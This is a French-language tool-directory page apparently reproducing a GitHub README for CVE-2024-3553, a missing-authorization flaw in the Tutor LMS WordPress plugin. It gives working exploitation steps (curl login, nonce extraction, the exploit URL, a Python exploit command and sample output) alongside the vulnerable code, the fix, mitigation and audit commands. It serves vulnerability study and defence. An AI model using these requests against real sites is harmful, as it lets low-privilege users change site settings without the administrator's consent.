Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-3553 — CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration | Kitploit
Outils/GitHubGitHub/randomrobbiebf/cve-2024-3553
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubrandomrobbiebf/cve-2024-3553

CVE-2024-3553

CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration

Voir le dépôt
il y a 7 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-3553

Tutor LMS <= 2.6.2 - Absence d'autorisation menant à une mise à jour limitée des options par un utilisateur non authentifié

Le plugin Tutor LMS – solution eLearning et de cours en ligne pour WordPress est vulnérable à une modification non autorisée des données en raison d'une vérification de capacité manquante sur la fonction hide_notices() dans toutes les versions jusqu'à la 2.6.2 incluse. Cela permet à des attaquants authentifiés (y compris des utilisateurs à faibles privilèges comme les abonnés) d'activer l'inscription des utilisateurs sur des sites où elle a été désactivée par les administrateurs.

Details

  • Type : plugin
  • Slug : tutor
  • Version affectée : 2.6.2
  • Score CVSS : 6.5
  • Évaluation CVSS : Moyen
  • Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
  • CVE : CVE-2024-3553
  • Statut : Actif

POC

Exploitation automatisée

Un exploit Python complet est disponible : exploit-cve-2024-3553-v2.py

root@kitploit:~
# Exploitation automatisée complète
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123

# Vérification du statut d'inscription uniquement
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only

Exploitation manuelle

Prérequis :

  • N'importe quel compte authentifié (abonné, contributeur, etc.)
  • Plugin Tutor LMS installé et activé

Étape 1 : Connexion en tant qu'utilisateur à faibles privilèges

root@kitploit:~
# Connexion en tant qu'abonné ou tout utilisateur authentifié
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
  https://target.com/wp-login.php

Étape 2 : Extraction du nonce depuis la zone d'administration

root@kitploit:~
# Tout utilisateur authentifié peut accéder à /wp-admin/ (même les abonnés)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1

Étape 3 : Exécution de l'exploit

root@kitploit:~
# Envoi de la requête pour activer l'inscription des utilisateurs
curl -b cookies.txt \
  "https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"

Étape 4 : Vérification du succès

root@kitploit:~
# Vérifier si l'inscription est maintenant activée
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Registration ENABLED" || echo "Registration DISABLED"

Exploitation en une ligne

root@kitploit:~
# En tant qu'utilisateur authentifié, visitez simplement :
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>

Exemple de sortie

root@kitploit:~
======================================================================
CVE-2024-3553 Exploit - Tutor LMS Absence d'autorisation
Cible : https://target.com
======================================================================

[*] Vérification du statut actuel de l'inscription...
[+] L'inscription est actuellement DÉSACTIVÉE

[*] Tentative de connexion en tant que : abonné
[+] Connexion réussie en tant que : abonné

[*] Étape 2 : Extraction du nonce depuis la zone d'administration...
[+] Nonce trouvé : abc123def456

[*] Étape 3 : Exécution de l'exploit pour activer l'inscription des utilisateurs...
[*] Cible : https://target.com
[*] Utilisation du nonce : abc123def456
[*] URL de l'exploit : https://target.com/wp-admin/index.php
[*] Paramètres : {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Statut de la réponse : 200
[+] Requête d'exploit envoyée avec succès !

[*] Étape 4 : Vérification du succès de l'exploitation...
[+] L'inscription est actuellement ACTIVÉE

======================================================================
[!] EXPLOITATION RÉUSSIE !
[!] L'inscription des utilisateurs est maintenant ACTIVÉE
[!]
[!] Impact : Un attaquant avec un compte à faibles privilèges (abonné)
[!] a pu activer l'inscription des utilisateurs sur un site où elle était
[!] désactivée. Cela pourrait permettre la création de comptes supplémentaires,
[!] pouvant potentiellement mener à du spam ou à un accès non autorisé.
======================================================================

Code vulnérable

Fichier : /classes/User.php (Lignes ~800-815)

root@kitploit:~
public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // DÉFAUT CRITIQUE : is_admin() vérifie uniquement si on est dans la zone admin, PAS le rôle utilisateur !
    if ( is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            // AUCUNE VÉRIFICATION DE CAPACITÉ - Tout utilisateur authentifié peut exécuter ceci !
            update_option( 'users_can_register', 1 );
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

Points clés de la vulnérabilité :

  1. is_admin() vérifie uniquement que la requête est destinée à une page d'administration, PAS que l'utilisateur est un administrateur
  2. TOUT utilisateur authentifié peut accéder à /wp-admin/ (même les abonnés)
  3. La vérification du nonce valide que la requête est intentionnelle, MAIS PAS que l'utilisateur possède les autorisations appropriées
  4. Manquant : vérification de capacité current_user_can('manage_options')
  5. Cela permet à TOUT utilisateur authentifié de modifier l'option users_can_register

Correctif (v2.7.0)

Fichier : /classes/User.php (Version corrigée)

root@kitploit:~
public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // CORRECTIF DE SÉCURITÉ : Vérification de capacité ajoutée
    $has_manage_cap = current_user_can( 'manage_options' );

    if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            update_option( 'users_can_register', 1 );  // Maintenant correctement protégé
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

Le correctif ajoute current_user_can('manage_options') pour vérifier que l'utilisateur possède les privilèges d'administrateur avant d'autoriser la mise à jour de l'option.

Impact

  • Sévérité moyenne : Bien que ne compromettant pas directement le site, cette vulnérabilité permet :
    • Contourner les contrôles administratifs
    • Activer l'inscription des utilisateurs sur des sites durcis/privés
    • Potentiel de création de comptes de spam
    • Contourner les politiques de sécurité du site
    • Modification non autorisée de la configuration du site

Analyse de la cause racine

Erreur de sécurité WordPress courante

Cette vulnérabilité démontre une mécompréhension critique des fonctions d'autorisation de WordPress :

FAUX ❌ :

root@kitploit:~
if ( is_admin() ) {
    // En pensant que cela signifie 'l'utilisateur est un admin'
    update_option( 'sensitive_option', $value );
}

CORRECT ✅ :

root@kitploit:~
if ( current_user_can( 'manage_options' ) ) {
    // Vérifie effectivement si l'utilisateur a des capacités d'admin
    update_option( 'sensitive_option', $value );
}

Comparaison des fonctions

Défense en profondeur requise

Une sécurité WordPress appropriée nécessite plusieurs couches :

  1. Validation du nonce - Empêche les attaques CSRF
  2. Vérifications de capacité - Assure une autorisation appropriée
  3. Nettoyage des entrées - Empêche les attaques par injection

L'absence de l'une de ces couches peut entraîner des vulnérabilités.

Atténuation

Pour les administrateurs de sites :

Mettez à jour Tutor LMS vers la version 2.7.0 ou ultérieure immédiatement :

root@kitploit:~
# Via WP-CLI
wp plugin update tutor --version=2.7.0

# Via l'administration WordPress
Tableau de bord → Extensions → Trouver "Tutor LMS" → Cliquer sur "Mettre à jour maintenant"

Auditer les changements récents :

root@kitploit:~
# Vérifier si le paramètre d'inscription a été modifié récemment
wp option get users_can_register

# Examiner les inscriptions récentes
wp user list --orderby=registered --order=DESC --number=20

Leçons de sécurité

Pour les développeurs

  1. Ne jamais se fier à is_admin() seul pour l'autorisation
  2. Toujours utiliser current_user_can() pour les vérifications de capacité
  3. Combiner la validation du nonce AVEC les vérifications de capacité
  4. Suivre les standards de codage WordPress pour la sécurité
  5. Tester avec des comptes à faibles privilèges pendant le développement

Méthodologie de test

Lors de l'audit des plugins WordPress pour les problèmes d'autorisation :

root@kitploit:~
# 1. Rechercher is_admin() sans vérification de capacité
grep -r "is_admin()" . | grep -v "current_user_can"

# 2. Rechercher les mises à jour directes d'options
grep -r "update_option\|add_option" .

# 3. Trouver les gestionnaires AJAX sans vérification de capacité
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"

Références

  • Avis Wordfence : https://www.wordfence.com/threat-intel/vulnerabilities/id/f8d4029e-07b0-4ceb-ae6e-11a3f7416ebc?source=cve
  • Correctif WordPress Trac : https://plugins.trac.wordpress.org/changeset/3076302/tutor/tags/2.7.0/classes/User.php
  • Référence des capacités WordPress : https://wordpress.org/documentation/article/roles-and-capabilities/
  • Entrée WPScan : https://wpscan.com/vulnerability/cve-2024-3553

Fichiers dans ce dépôt

  • README.md - Ce fichier
  • exploit-cve-2024-3553.py - Exploit Python de base
  • exploit-cve-2024-3553-v2.py - Exploit Python amélioré avec documentation détaillée
  • manual-exploit-cve-2024-3553.sh - Script d'exploitation manuelle
  • test-cve-2024-3553-direct.sh - Script de vérification directe

Découvert le : 2024-04-15 Divulgué le : 2024-05-20 Corrigé le : 2024-05-21 (v2.7.0) Date de test : 2025-12-26 Classification : Validation réussie de la vulnérabilité

Télécharger l’outil
FonctionCe qu'elle vérifie réellementUtilisation sécuritaire
is_admin()Si l'URL actuelle est dans /wp-admin/❌ PAS pour l'autorisation
current_user_can()Si l'utilisateur a une capacité spécifique✅ Autorisation appropriée
wp_verify_nonce()Si la requête est intentionnelle (protection CSRF)✅ Mais PAS suffisante seule